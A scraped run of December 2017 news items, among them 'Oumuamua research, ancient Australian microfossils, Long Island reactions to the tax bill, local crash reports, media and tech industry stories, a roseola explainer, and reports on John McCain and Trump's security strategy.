As the solar system formed, planets made of gas and ice near the outer edges of the solar system ejected trillions of objects, Fitzsimmons said. In addition, the mass of small icy bodies at the outermost reaches of the solar system, known as the Oort cloud, has lost objects over billions of years due to gravitational disruption from other stars. It was therefore logical for astronomers to expect that the first interstellar visitor they would see should be a comet.

"Given that this object passed relatively close to our sun as it was travelling through our solar system, one would expect any ices on the surface to basically be heated and it should behave like a comet," Fitzsimmons said. "We should see gas streaming off the surface, we should see dust particles being ejected in the cometary atmosphere, perhaps even a tail."

But astronomers observing 'Oumuamua with their telescopes have seen no signs of such a behavior. They concluded that the object must be rocky in nature  an asteroid. However, when Fitzsimmons and his colleagues examined data on the surface of the object more closely, they found it doesn't look like a typical asteroid either.

Researchers studying the interstellar object 'Oumuamua said that it might have an icy core concealed by a rocky, protective crust. (Image credit: ESO/M. Kornmesser)

"We didn't see any signs of typical spectroscopic signatures that you would expect from the minerals on the surface of an asteroid we see in our solar system," Fitzsimmons said. "It rather seems to resemble the [icy] objects that are there in the outer solar system. That kind of got our head scratching. If the object had, originally at least, ice in it, what's happened to it?"

Fitzsimmons and his colleagues looked at older studies and laboratory experiments that tried to find out what happens to icy bodies, such as comets, that are exposed for a long time to energetic particles and cosmic rays. These studies suggest that the ice from the surface layers of such bodies evaporates because of the cosmic environment.

"What gets left transforms itself into a relatively rigid and desiccated surface held together by carbon compounds, which at the same time gives a sort of a reddish, pinkish color," Fitzsimmons said. "And that's what we saw in our spectra." [Living on a Comet: 'Dirty Snowball' Facts Explained (Infographic)]

The astronomers ran a series of computer experiments to model the behavior of the now icy 'Oumuamua. They found that if the object's crust was only 20 inches (50 centimeters) thick, it would protect the ice at the object's core from the heat of the sun, thus preventing it from displaying the telltale signs of gas and dust leaving a comet.

In a separate paper that will be published in the Astrophysical Journal Letters later this month, Fitzsimmons' colleague Michele Bannister, also from Queen's University, looked at further properties of 'Oumuamua in the near-infrared spectrum and compared the data with those on similar objects in the outer solar system. She found staggering similarities.

"We've discovered that this is a planetesimal with a well-baked crust that looks a lot like the tiniest worlds in the outer regions of our solar system," Bannister said in a statement. "It has a greyish/red surface and is highly elongated, probably about the size and shape of the Gherkin skyscraper in London."

While 'Oumuamua's arrival has been one of the most significant astronomical events of 2017, Fitzsimmons and Bannister expect that such occurrences will become rather common in the future. Similar objects likely make it into the solar system fairly regularly, the astronomers said, but they are usually too faint to spot with current telescopes. As telescope technology advances, Fitzsimmons said he expects that astronomers in the not so distant future will be able to study such interlopers perhaps every year.

"On the horizon we have a new telescope facility they are building at the moment called the Large Synoptic Survey Telescope in Chile," Fitzsimmons said.

"That's going to be an incredibly powerful survey machine. When that starts operating in the first half of the next decade, that will have a much better chance of detecting these objects in the solar system than the current facilities that we have."

Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
An epoxy mount containing a sliver of a nearly 3.5 billion-year-old rock from the Apex chert deposit in Western Australia is pictured at the Wisconsin Secondary Ion Mass Spectrometer Lab (WiscSIMS) in Weeks Hall.

Ancient, preserved microbes that are too small to be seen with the naked eye, dating to billions of years ago, may represent the oldest known evidence of life on Earth, according to a new study.

First unearthed in western Australia in 1982 and described in 1993, these microfossils are so tiny that eight of them lined up one after another would span the width of a human hair. The researchers who discovered the fossils initially identified them as biological, but other scientists argued that it was impossible to say for sure, proposing that the so-called "fossils" were more likely odd-looking minerals.

However, when the authors of the new study used a novel method to inspect the delicate fossils on a molecular level, they detected certain carbon signatures indicating that the fossils were organic in origin after all. Though the fossils were estimated to be about 3.5 billion years old, the diversity of microbes in the group suggested that life probably emerged on Earth even earlier than that, the study authors reported. [In Images: The Oldest Fossils on Earth]

But not everyone may agree that these fossils represent the oldest life on Earth. Some experts have indicated that there are other samples that could be even older than the Australian microfossils, while other researchers have cast doubt on whether these sediments house traces of life at all, suggesting that chemical markers thought to represent biological evidence were the result of geothermal activity.

Hints of life

Compared to fossils of extinct vertebrates, microbial fossils may not seem like much to look at, even when they're highly magnified. Certain large fossil specimens are beautifully detailed in their preservation, retaining impressions of ancient animals' skin or feathers. Others astonish with their sheer size, such as the giant sauropod dinosaurs' massive femurs, which can be taller than a human adult.

But microbe fossils, though neither structurally complex nor large, are unrivaled when it comes to age. The first life on Earth was microbial, and fossils from this time offer a tantalizing glimpse of the forms from which all creatures  living and extinct  evolved over billions of years.

In recent years, other studies have reported microfossils holding evidence of ancient microbial life, such as tiny hematite tubes embedded in iron-rich volcanic rock in Quebec, which may have housed microbes that lived between 3.77 billion and 4.29 billion years ago. Another study described cone-like structures detected in rocks in southwestern Greenland, which could represent sediments surrounding fossilized microbial colonies that lived 3.7 billion years ago.

Both of those discoveries indicate possible evidence of life that would be older than the microbes evaluated in the new study. However, the new investigation is the first to examine and describe individual, fossilized microbes, finding "both the morphology and geochemical signature of life" in samples that are this old, study co-author John W. Valley, a professor of geoscience at the University of Wisconsin-Madison, told Live Science in an email.

But definitive answers can be elusive when one is peering backward in time to Earth's distant past, particularly in the search for the origins of life on our planet. Billions of years of geologic changes leave behind chemical traces in rocks that often resemble signatures of biological remains, according to previous studies.

"Bits and pieces"

Though clearly ancient, this group of microbe fossils was difficult to analyze when it was first discovered, according to study co-author J. William Schopf, a professor of paleobiology at the University of California, Los Angeles, and one of the researchers who found and described the fossils decades ago. In fact, Schopf referred to them as "tiny bits and pieces" that were "abundant" but also "charred, shredded, overly cooked" in his book "Cradle of Life: The Discovery of Earth's Earliest Fossils" (Princeton University Press, 1999).

One of the microfossils discovered in a rock sample from the Apex Chert. (Image credit: Courtesy of J. William Schopf, UCLA)

For the new study, Schopf and his colleagues examined 11 specimens of microscopic fossils using a highly sensitive technique that was unavailable when the microbes were first described: secondary ion mass spectrometry (SIMS). This procedure analyzes the composition of a solid surface by bombarding it with ions, and then collecting and evaluating the ions that are ejected from the scanned object.

To do that, the researchers needed to expose the fossils' surface for the scanner, so they meticulously ground down the rock that held the fossils, micrometer by micrometer, the scientists explained in a statement.

After they scanned the fossils, they isolated and compared carbon isotopes  forms of carbon with the same number of protons but different numbers of neutrons. They found that the ratios of two particular isotopes "are characteristic of biology and metabolic function," Valley said in the statement.

"We show that taxa identified by morphology correlate to carbon isotope ratio. It took us 10 years to develop the ability to make these measurements accurately," he told Live Science.

Gathering evidence

As for other researchers that have described even older evidence of microbial organisms, while they may have presented ancient features that were, in fact, consistent with signs of life, their proof was incomplete, Valley explained.

"Some features have morphology but no chemistry. Others have appropriate carbon isotope ratios but the morphology was destroyed by high temperature metamorphism," he said.

The study authors further identified the microbes as a diverse group, which included some microbes that were methane producers, some that would have consumed methane and others that would have relied on the sun to produce energy.

The differentiation between these microbes was especially noteworthy, because it suggests that life had already been on Earth long enough for it to begin to diversify and specialize, the study authors reported. While it's impossible to say when life made its first appearance on the planet, these microbes hint that very primitive microbial life could have emerged even in Earth's infancy.

"We have no direct evidence that life existed 4.3 billion years ago but there is no reason why it couldn't have," Valley said in the statement.

"This is something we all would like to find out," he added.

The findings were published online Dec. 18 in the journal Proceedings of the National Academy of Sciences.

Original article on Live Science.
Local News, Business & Finance, Politics

By Long Island News & PR Published: December 19 2017

Zeldin: "Getting this bill done and getting this bill done right should not have been a binary choice."

Long Island, NY - December 19, 2017 - Today, Congressman Lee Zeldin (R, NY-1) issued the following statement after voting against the Conference Report to Accompany the Tax Cuts and Jobs Act (H.R. 1):

"Getting this bill done and getting this bill done right should not have been a binary choice. My goal in this tax reform mission has always been to ensure the hard working men and women of Long Island keep more of their paycheck, reduce their cost of living, and are able to save more for retirement. Unfortunately, this bill is not the tax relief they were promised.

There are many good aspects of this bill, including a necessary reduction in the corporate tax rate, but it should not be done on the backs of ANY hard working, middle income taxpayers. That was totally avoidable and I still don't understand why spending cuts couldnt have been used as a more responsible pay for.

On balance, this bill remains a geographic redistribution of wealth, taking extra money from a place like New York to pay for deeper tax cuts elsewhere. New York is a net contributor that now will be contributing even more. This bill chooses winners and losers in a way that could have and should have been avoided.
Local News, Business & Finance, National & World News, Politics

By Long Island News & PR Published: December 19 2017

Suozzi: "This bill represents every Americans worst nightmare when it comes to hyper-partisanship, back-door deals, and a complete lack of transparency."

Long Island, NY - December 19, 2017 - Today, Congressman Tom Suozzi (D  Long Island, Queens) issued the following statement shortly after the Republican-led tax reform bill passed the House of Representatives.

This legislation is a disgrace and a punch-in-the-gut to middle-class families throughout Long Island and Queens. My district is home to over 250,000 families that benefit from the state and local tax deduction  the most in the nation. Thanks to this disaster of a bill, which all but cripples this deduction, hardworking New York families will now see their property values plummet and their taxes skyrocket.

Despite demonstrable evidence from non-partisan sources showing how middle-class families all over New York will suffer under this plan, House Republicans still jammed this bill through in record time. They are literally raising taxes on New Yorkers to deliver tax breaks to other parts of the country. New York is already the biggest net donor to the federal government. We get $48 billion less than we send in income taxes to the federal government. This bill, which eliminates the state and local tax deduction above $10,000, will only increase that injustice.
Local News, Business & Finance, Politics

By Long Island News & PR Published: December 19 2017

Bellone: "We are One New York  lets fight to protect our homes."

Suffolk County, NY - December 19, 2017 - Suffolk County Executive Steve Bellone today called on all New Yorkers to contact three members of Congress that have committed to voting for the final tax legislation in Congress. Bellone released video message to mobilize grassroots opposition against a provision that would limit deductions for state and local income taxes as well as property taxes for homeowners. The members of Congress are U.S. Representatives Claudia Tenney (NY-22), Tom Reed (NY-23), and Chris Collins (NY-27).

Earlier this afternoon, Congresswoman Elise Stefanik (NY-21) announced her opposition to the bill that comes only one day after Suffolk County Executive Bellone sent a letter urging her to protect these key deductions. This comes on the heels of a Business Insider report that ranked Long Island the worst place to own a home in the country if homeowners were to lose these critical deductions.

The New York State Association of Counties Board of Directors recently adopted a bipartisan resolution at their biannual meeting in Albany that called on the entire New York State congressional delegation to oppose legislation that would eliminate or limit these deductions. County Executive Bellone is also a member of the NYSAC Board of Directors, which represents 57 counties and the City of New York in Albany and Washington on matters germane to county governments. The Association also informs county officials and the public about issues that impact county governments across the state.
Local News, Crime

By Long Island News & PR Published: December 19 2017

Robert Scheuerer of Farmingdale, 26, was driving drunk when he killed Brian J. Fusaro of Bay Shore, 37, in a head-on collision, officials report.

A former police officer pleaded guilty to causing a wrong-way fatal crash in September of 2016.

Long Island, NY - December 19, 2017 - At a scheduled court conference in At a scheduled court conference in Central Islip this morning, a former police officer pleaded guilty to causing a wrong-way fatal crash on Sunrise Highway in September of 2016.

Robert Scheuerer of Farmingdale pleaded guilty to aggravated vehicular homicide, manslaughter in the second degree, aggravated DWI and reckless endangerment in the second degree. The head-on collision in the westbound lanes of Sunrise Highway, east of the New York State Route 231 overpass, killed Brian J. Fusaro, 37, of Bay Shore

The crash occurred on the morning of September 27, 2016 at approximately 4:40 am.

Scheuerers blood-alcohol reading was .17 in a blood sample taken one hour and fourteen minutes after the crash.

In exchange for his guilty plea, State Supreme Court Justice Fernando Camacho promised Scheuerer a prison term of three to nine years. The District Attorneys Office recommended a sentence of four to twelve years of incarceration.

Justice Camacho directed the defendant to surrender on January 18 to begin his sentence.
Nature & Weather, Local News, Politics

By Long Island News & PR Published: December 19 2017

LaValle: "Throughout my career, I have made it a priority to preserve and protect our fragile environment."

Long Island, NY - December 19, 2017 - Senator Ken LaValle today released the following statement concerning the veto of the legislation to expand the Pine Barrens:

As the author of the original legislation to preserve the Pine Barrens, I am truly disappointed that an opportunity to add over 1,000 acres to the preserve has been vetoed by Governor Andrew Cuomo.

Over the past year, we have painstakingly worked toward the passage and approval of this new legislation. The reality is that once taken, these forest lands will never be recovered. Up until late yesterday, there were extensive negotiations between the Town of Brookhaven, the developer of the Mastic Pine Barrens (or woods property), the Governor's office and the Legislature. These lands are particularly critical for the ecology of the Forge River. Destroying the forest and the trees to install solar power just does not make sense at either the Mastic Woods or Shoreham Old Growth Coastal Forest properties

Throughout my career, I have made it a priority to preserve and protect our fragile environment. The original Pine Barrens Act, signed by Governor Mario Cuomo, led to the preservation of over 105,000 acres to protect ground, surface, and drinking water. I never agree with obliterating trees and forests to replace them with another green technology. Currently, over 30% of New York States solar power is generated on Long Island, the majority of which is produced in my Senate District. We can continue to expand the green energies where they will benefit Long Island without damaging the environment as we proceed. Destroying the environment is never the direction I wish to take.
Local News, Crime

By Long Island News & PR Published: December 19 2017

An 18-year-old female was driving on North Street when the vehicle veered off the road and crashed into a tree, officials report.

Manorville, NY - December 19, 2017 - Suffolk County Police Seventh Squad detectives are investigating a crash that injured three teenagers, one seriously, in Suffolk County Police Seventh Squad detectives are investigating a crash that injured three teenagers, one seriously, in Manorville early this morning.

An 18-year-old female was driving a 2008 Nissan Altima westbound on North Street, approximately one mile north of Moriches Middle Island Road, when the vehicle veered off the road and crashed into a tree at approximately 2:30 a.m.

A 17-year-old passenger in the front seat of the vehicle was transported by Suffolk County Police helicopter to Stony Brook University Hospital in serious condition. The driver and a 17-year-old male, who had been a passenger in the backseat of the vehicle, were transported via ambulances to Brookhaven Memorial Hospital Medical Center in East Patchogue with non-life-threatening injuries.
by Adam Buckman , Featured Columnist, December 19, 2017

There appears to be no holiday respite in the offing for sex-harassment stories and headlines in the media.

This week, the ones most prominently in the news -- particularly in the trades -- are the stories surrounding Tavis Smiley, Mario Batali, and to a lesser extent, Rupert Murdoch.

Murdoch's in the news lately for agreeing to sell most of the company he spent his lifetime building to Disney -- a company that for most of his life was a bitter rival.

But in the midst of the coverage of this Fox-Disney deal, he apparently gave an interview in which he seemed to dismiss the sex-harassment accusations and reported payoffs at Fox News Channel as nonsense.

He was pilloried, of course, in the court of public opinion -- aka social media. But his companys p.r. department eventually issued a statement that somehow sought to clarify what he meant and the story died down (at least yesterday, on Monday afternoon).

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That's what has happened frequently in the sex-harassment story cycle. There are so many stories breaking all the time that some get subsumed by other ones.

For example, Tavis Smiley was on Good Morning America Monday morning to do an interview about the sex-harassment allegations that swamped him last week. His appearance on GMA drove him to the top of the sex-harassment news list, at least for one day.

First, PBS dropped Smiley's nightly show, Walmart either dropped its financial support of the show (or was close to it), some kind of one-man show he was planning to tour with next year was cancelled and a publishing imprint he apparently has was also shut down --- all in response to charges whose nature, not to mention the evidence to back them up, have not yet been revealed.

To this credit (unless it backfires and blows up in his face), Smiley is mounting a vigorous defense of himself -- saying he engaged in a relationship with a co-worker (I think he is admitting to just one) but denying that he did anything to violate any standards of conduct laid down by PBS or anyone else.

On GMA and in a video he made and posted on Facebook, Smiley says he feels PBS rushed to judgement and gave him no opportunity to give his side of the story at all.

At times, this does seem to be a recurring characteristic of some of these sex-harassment stories. No sooner does an allegation surface than the accused is almost instantly swept out the door and all trace of him erased from the company's Web site.

The swiftness of it is so breathtaking that some may wonder whether some companies are making snap decisions without sufficient proof or examination of the facts. In his own case, Smiley seems to think so.

Meanwhile, I went in search of a Mario Batali picture from The Chew on the ABC press site reserved for journalists on Monday and I actually found one which, upon reflection, seemed like it may have been an oversight, since the rest of the Chew site had been completely scrubbed clean of Batalis former presence.

Batali was dropped from The Chew -- the ABC daytime talk show with one of the worst titles in all of television -- after he was accused of touching various female associates inappropriately. He issued an apology of sorts and then reportedly reiterated it in an email he sent to subscribers to an email newsletter he maintains.

In that same email, according to The Hollywood Reporter, Batali included a recipe for a breakfast treat he calls Pizza Dough Cinnamon Rolls. According to the same THR story, social media was once again swift in its condemnation as detractors voiced their opinion that a recipe for a sweet breakfast treat had no place in an email about sexual harassment.

However, opinions might differ on that. And besides, this year's tsunami of sex-harassment charges and counter-charges is still such a new phenomenon that the rules of etiquette, such as they are, are still very much in flux.

Perhaps in the coming year, we can get some clarification on the appropriateness of a cinnamon roll recipe tacked onto the end of a sex-harassment apology.

Until then, I hope this is the last TV Blog of 2017 about sex harassment (but don't bet on it).
As promised, Twitter has started cracking down on what it considers to be hateful content.

Along with direct threats of violence, the social network is now taking action against content that glorifies or condones such acts. Going forward, Twitter also promises to permanently suspend accounts identified as the source of tweets featuring nonconsensual nudity.

To further restrict cases of sexual harassment, Twitter is vowing to conduct full account reviews whenever it receives tweet-level reports regarding nonconsensual nudity.

Twitter is also expanding its definition of nonconsensual nudity to more broadly include content like upskirt imagery, creep shots and hidden camera content.

When perceived to be an unwanted sexual advance, Twitter also plans to update its official Rules to outlaw the exchange of sexual media.

As for how the company plans to discern between welcomed and unwelcomed sexual advances, Twitter says it is implementing improvements to bystander reporting, as well as leveraging past interaction signals -- like block and mute rates.

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Social networks like Twitter and Facebook have recently faced a barrage of criticism regarding a range of issues, from First Amendments rights to foreign invaders.

CEO Jack Dorsey and other Twitter executives recently admitted that they needed to do a better job of communicating its content-policing policies. Dorsey was forced to apologize to actor Rose McGowan, whose Twitter account was temporarily suspended after including a private phone number in a tweet.

Technically, McGowan violated Twitters Terms of Service, yet Dorsey admitted that the company could have been more clear about why her account was locked.

Twitter was also recently forced to explain its decision not to police Donald Trumps threats against North Korea. While the taunts would normally have triggered Twitters anti-aggression policy, the company said their newsworthiness made them more acceptable.
Washington City Paper told staffers Monday that their salaries will be cut by 40% starting January 1 as parent company SouthComm struggles to find a buyer for the Washington, D.C.-based alt-weekly.

The reduced salaries mean most editorial employees will make below $30,000 a year, according to a report from The Washingtonian.

Washington City Paper has been up for sale since October. Chris Ferrell, the CEO of SouthComm, had said he was looking to find a buyer by the end of the year.

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Conservative political commentator and talk show host Armstrong Williams once expressed interest, but announced last week he would not acquire the publication.

The Nashville-based SouthComm bought the 36-year-old City Paper in 2012, but now wants to focus on business-to-business outlets, which Ferrell calls a better business. The company wants to cut its alt-weeklies.

In November, SouthComm laid off 25% of the editorial staff at the Nashville Scene, including editor Steve Cavendish, who had previously edited City Paper.

According to SouthComms website, it owns more than 30 business-to-business publications.

Alt-weeklies have been hit hard as a result of declining print advertising revenue. The Village Voice, arguably one of the most iconic alternative publications, ended its print product in September. Weeklies in other cities, such as Boston, Philadelphia and San Francisco, have shuttered.

Voice Media Group sold LA Weeklyin October to new owners Semanal Media, which subsequently fired nine of the papers 13 editorial staff members, retaining only one full-time writer, a copy chief, a creative director and a music listing coordinator.
NBCUniversal says hired a veteran Univision advertising executive Ana Ceppi. She will be senior vice president of Hispanic strategy and client experience at NBCUniversal Advertising sales.

Ceppi will serve as a advisor and liaison to NBCs external client and agency partners, helping to promote the companys efforts in the Hispanic marketplace and for the NBCU Telemundo network brand.

Ceppi will report to Laura Molen, executive vice president of lifestyle and hispanic advertising sales group of NBCUniversal.

Working at Univision for the last six years, Ceppi was most recently vice president of business development at Univision, where she pushed new business into the Hispanic marketplace.

Previously, she was vice president of 360 global advertising/brand management for American Express. Before that, Ceppi was senior vice president group account director at McCann Erickson for 10 years.

For the 2016-2017 TV season, Univision and Telemundo were tied in younger demographic ratings among Nielsen 18-49 viewers for live program viewing plus seven days of time-shifted viewing -- a 0.6 rating/2 share.

Univision averaged 1.81 million overall prime-time viewers, while Telemundo averaged 1.51 million.
by Wendy Davis @wendyndavis, December 19, 2017

Facebook is urging an appellate court to rule that users can't sue the company for allegedly violating their privacy by tracking them at health sites.

"Facebooks policies told users exactly the kind of information that Facebook was collecting and how it was using that information," the company says in papers filed Monday with the 9th Circuit Court of Appeals. "Plaintiffs are bound by their consent to those policies."

The company's argument comes in response to users' request that the 9th Circuit revive a privacy lawsuit against the company. The battle dates to last year, when three web users proceeding under the pseudonyms "Winston Smith," "Jane Doe 1," and "Jane Doe 2" alleged in a class-action complaint that Facebook gathered data about users' visits to health sites, including ones operated by the American Cancer Society, Melanoma Research Foundation and University of Texas MD Anderson Cancer Center. Facebook allegedly collected information via the "Like" button, and then drew on the data to sell targeted ads.

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The three users say they exchanged communications about health conditions that they or a family member suffered from. Smith alleged that he had melanoma, while Jane Doe 1 said she had back pain, and Jane Doe 2 said her husband had an intestine transplant.

Smith and the others claimed that Facebook violated federal and state privacy laws, including the federal wiretap act, which prohibits companies from intercepting transmissions without at least one party's consent. The web users also sued the health sites for allegedly violating their own privacy policies, which promised to refrain from sharing users' personally identifiable information.

In May, U.S. District Court Judge Edward Davila in the Northern District of California dismissed all claims against Facebook and the health sites. Davila ruled that the users consented to Facebook's data-gathering efforts, because the company discloses online that it collects information from third-party sites that use Facebook services, including the "Like" button and Facebook log-in button. He also ruled that he lacked jurisdiction over the health site operators because they aren't based in California.

Smith and the others recently asked the 9th Circuit to revive their lawsuit. One of their key arguments is that they didn't consent to share information about their visits to health sites with Facebook.

They argue that Facebook's disclosures didn't give people reasonable notice that their activity at health sites was being tracked, and that the disclosures conflicted with the promises made by the health sites themselves. "No reasonable user who viewed Facebooks and the health care entities disclosures would have understood that Facebook was collecting the information at issue," they write.

Facebook counters that it informs users during the sign-up process about tracking and targeted ads.

"Facebooks policies told users exactly the kind of information that Facebook was collecting and how it was using that information," the company writes. "Plaintiffs are bound by their consent to those policies."

The company also says it doesn't share names, email address or other contact information, and that users can opt out of receiving targeted ads.

The users are expected to respond early next year to Facebook's arguments.
Roseola, also known as roseola infantum or sixth disease, is a viral infection. It usually affects children between 6 months and 2 years of age, with most having had it by kindergarten. Adults are not often affected. Symptoms include fever, runny nose, cough, and sore throat. A rash starts to occur when the fever ends. Roseola is not usually a serious condition. It typically resolves within a week or so after symptoms start. Read on to discover the symptoms of roseola, and to learn how to treat this common condition. Fast facts on roseola: It is a contagious condition that spreads through infected respiratory secretions.

After the childs temperature returns to normal, they will likely develop a pink-colored rash.

Similarly to other viral infections, roseola needs to run its course.

Symptoms Roseola symptoms typically appear within 5 to 15 days of infection with the virus. However, in mild cases, symptoms may not be noticeable. Common roseola symptoms include: Rash Share on Pinterest Roseola may cause a rash that starts on the torso.

Image credit: Emiliano Burzagli, (2008, August 14) A roseola rash starts on the torso before spreading to the arms, legs, neck, and face. It appears as small pink spots that may be flat or raised. Some of the spots may have a lighter ring or halo around them. Roseola spots turn white or fade when pressed with a glass. This rash does not typically cause itching or discomfort and fades within a few days. However, it is important to note that not all children get the rash. Upper respiratory symptoms Some children will develop mild upper respiratory symptoms before or with the fever. These symptoms may include: cough

diarrhea

irritability

loss of appetite

runny nose

sore throat

swollen eyelids

swollen lymph nodes in the neck Fever A sudden, high fever is one of the first signs of roseola and when a person is most contagious. The fever can sometimes reach 105.0F (40.5C) and can last for 3 to 5 days.

What are the causes? Roseola can spread between children even when no rash is present, and it can occur at any time of the year. The condition is caused by a virus, more commonly human herpes virus 6, but also human herpes virus 7.

Risk factors Most children will contract roseola at a young age. They are at greatest risk between the ages of 6 and 15 months of age when their immune systems have not yet developed antibodies to fight the virus, as this illness occurs upon virus exposure. A child under 6 months of age may still be protected by its mothers antibodies, which were passed to it, during gestation.

Complications Roseola rarely causes complications, with the vast majority of people making a full recovery in approximately 7 days after their symptoms start. When complications do arise, they include: Seizures Share on Pinterest If a child with roseola has a seizure, medical attention should be sought. According to the United Kingdoms National Health Service (NHS), some children with roseola have seizures or fits called febrile seizures. These seizures may occur in children who experience a rapid increase in temperature. Seizures may cause a brief loss of consciousness, jerking of the limbs or head, and loss of bladder or bowel control. Although alarming, febrile seizures do not usually cause harm to otherwise healthy children. However, emergency treatment should be sought. Problems in people with compromised immunity People with weak immune systems may experience complications if they contract roseola. Examples of groups with compromised immunity include people with HIV and AIDs or leukemia and recent recipients of organ transplants. If people with weakened immunity acquire roseola, or experience a reactivation of a previous infection, they may develop a more severe case of the illness and struggle to recover from the virus. Complications include pneumonia or inflammation of the brain known as encephalitis, which can be life-threatening.

When to see a doctor Children who are displaying the following signs and symptoms should see a doctor: fever higher than 103.0F (39.4C)

fever lasting more than a week

rash that persists without improvement for more than 3 days People with compromised immune systems who encounter someone with roseola should contact their doctor immediately. Emergency medical care should be sought if a child has a febrile seizure. These often occur due to a very high and sudden fever spike.

Treatment There is no specific treatment for the illness, but medications and home remedies can be used to reduce discomfort and manage symptoms. Fluids Share on Pinterest Drinking clear fluids to stay hydrated is important when treating roseola. It is important to stay hydrated when ill. Children should drink plenty of clear fluids, such as: water

broth

lemon-lime soda

electrolyte solution (Pedialyte)

sports drinks Carbonated drinks should have the carbonation removed before consumption to reduce intestinal gas in children. This can be done by allowing the drink to stand for 1 to 2 hours or by shaking, heating, or stirring it. Over-the-counter medications Certain pain relief medications may be given to children on the advice of a doctor. Medications to reduce fever include acetaminophen (Tylenol) and ibuprofen (Advil, Motrin). A person should always follow the advice on the packaging, regarding correct doses and timings, or talk to a doctor if they are not sure. Children under 16 years old should not be given aspirin unless a doctor recommends it. Aspirin use in children has been linked to Reyes syndrome, a rare condition that can be life-threatening. Antiviral medication A doctor may prescribe the antiviral medication ganciclovir (Cytovene) for some people with weak immune systems to try to prevent the virus from replicating its DNA. Antibiotics cannot be used to treat roseola or other viral infections, as they will not work against viruses. Rest Children may be more comfortable resting in bed until their fever subsides. However, if they are well enough to engage in play and other activities, they should not be forced to rest completely. However, it is important for them not to overexert themselves or be around others while they are still considered to be contagious. Keeping cool A person can reduce the discomfort of fever by: taking a lukewarm sponge bath

applying a cool compress to the forehead

using a light bedsheet instead of a heavy duvet Ice or cold water should never be used as this can cause chills. Children can return to normal activities once they have been fever-free for 24 hours and do not have any other significant symptoms.

How can it be prevented? There is no vaccine available to prevent roseola. Prevention involves limiting exposure to infected people. For this reason, it is important that children with roseola do not come into contact with other children until their fever has broken. People who have contact with roseola should wash their hands frequently to avoid passing the virus on, especially to someone who does not have the antibodies to fight it. It is also a good idea to wipe down household surfaces regularly with antimicrobial sprays. People can reduce the risk of infection by teaching children hygienic practices, such as ensuring they sneeze and cough into tissues and immediately dispose of the tissue afterward. Also, it is best to avoid allowing them to share cups, plates, or utensils with others to reduce their exposure to infected saliva.
Annual days are a big deal for parents as it is, but it becomes national news when the audience is just filled with top Bollywood A-listers. Just yesterday we saw Shah Rukh Khan's youngest son AbRam stealing the show when he danced to his father's song 'Yeh Tara Woh Tara' from his movie 'Swades'.

Being the doting parents they are, we can see Shah Rukh and Gauri in the video that has been going around accompanied by their daughter Suhana Khan beaming with pride as they watch AbRam perform.

Even though AbRam has been the talk of the show, in the first glance at the video, you can see a whole bunch of celebrities in attendance. There's Arnab Goswami, standing next to the Khans 

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And as the camera moves, there's more famous faces, including Aishwarya Rai, Abhishek Bachchan and Leander Paes.

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One school, so many star kids. There's AbRam, obviously.

 News18

And, Shah Rukh's daughter Suhana.

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Aaradhya Bachchan, obviously.

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Hrithik Roshan and Sussanne Khan's sons Hrehaan and Hridhaan.

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Karishma Kapoor's son Kiaan.

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And, there are a lot more.

The school in question here is Dhirubhai Ambani International School. But, what makes it so special that it seems like the only choice for all of Bollywood?

Well, for starters, the name gives the biggest hint, obviously. The school, which was established back in 2003 by Nita Ambani, a K-12 co-ed institution with a view to offering world-class educational opportunities in the city of Mumbai.

 DAIS

Along with a state-of-the-art labs and a focus on holistic education for the students, the one thing that makes the school stand-out is the favourable student teacher ratio.

 DAIS

Is it a coincidence, or some elite secret that star kids can only attend this school? We'll never know.
Officials say the device was known as an "unexploded ordnance," or an explosive weapon that did not explode and still posed a...
Sen. John McCain sent out a Tweet Monday saying that he was "feeling well" in his battle with an aggressive form of brain cancer and planned to return to the Senate after the holidays.

"Thanks to everyone for your support and words of encouragement," said McCain, an Arizona Republican and chairman of the Senate Armed Services Committee. "I'm feeling well and looking forward to returning to work after the holidays."

The 81-year-old McCain went home to Arizona for Christmas over the weekend following a stay at Walter Reed Medical Center in Maryland for complications from radiation and chemotherapy treatments.

McCain will be unavailable for the vote on President Donald Trump's tax bill, which he supports, but Republicans appear to have enough votes to pass it without him.

When he entered Walter Reed, his daughter, Meghan McCain, Tweeted that "My father is doing well and we are all looking forward to spending Christmas together in Arizona."

President Trump told reporters Sunday that he had spoken to McCain's wife, Cindy McCain. "I wished her well. I wish John well," said Trump, who has had his differences with McCain on a wide range of issues.

He said the couple was headed back to Arizona "but I understand he'll come if we ever needed his help, which hopefully we won't" on the tax bill.

"But the word is John will come back if we need his vote. It's too bad. He's going through a very tough time, there's no question about it. But he will come back if we need his vote," Trump said.

In Arizona, McCain will undergo treatment and physical therapy at the Mayo Clinic, according to his staff.

McCain received a diagnosis earlier this year of glioblastoma, an aggressive, malignant form of brain cancer that can cause headaches, seizures, blurred vision and other symptoms.

In a statement, the senator's office provided an assessment from Dr. Mark Gilbert, chief of neuro-oncology at the National Institutes of Health's National Cancer Institute:

"Senator McCain has responded well to treatment he received at Walter Reed Medical Center for a viral infection and continues to improve," Gilbert said.

"An evaluation of his underlying cancer shows he is responding positively to ongoing treatment," Gilbert said

-- Richard Sisk can be reached at Richard.Sisk@Military.com.
President Donald Trump outlined Monday a new "America first" national security strategy reliant on a dominant military worldwide and left Congress to deal with how to pay for it.

In a half-hour address described by the White House as a "dramatic" departure from his predecessors, the president said America had entered a new era of "strategic competition" against the rest of the world.

The U.S. would look to cooperate where possible, Trump said, but "to succeed we must integrate every dimension of our national strength, and we must compete with every instrument of our national power."

In renewing his "Make America Great Again" campaign theme, he said, "we will stand up for ourselves, and we will stand up for our country like we have never stood up before."

"We know that American success is not a foregone conclusion," the president said. "It must be earned and it must be won. Our rivals are tough, they're tenacious, and committed to the long term but so are we."

"This strategy recognizes that, whether we like it or not, we are engaged in a new era of competition," he said. "We accept that vigorous military, economic, and political contests are now playing out all around the world."

The main "strategic competition" will come from Russia and China, Trump said, and the outcome will be determined by America's commitment to its core values.

"We also face rival powers, Russia and China, that seek to challenge American influence, values, and wealth," he said. "We will attempt to build a great partnership with those and other countries, but in a manner that always protects our national interest."

Protecting the national interest will be the main responsibility of a strengthened U.S. military, he said. To meet the challenge, "we are once again investing in our defense -- almost $700 billion, a record, this coming year," he said.

However, the $700 billion was a policy proposal under the National Defense Authorization Act for 2018 that has yet to be cemented in the budget for 2018. Congress faces a Friday deadline for enacting a 2018 budget or passing yet another continuing resolution to keep spending at 2017 levels, raising the possibility of a government shutdown if no action is taken.

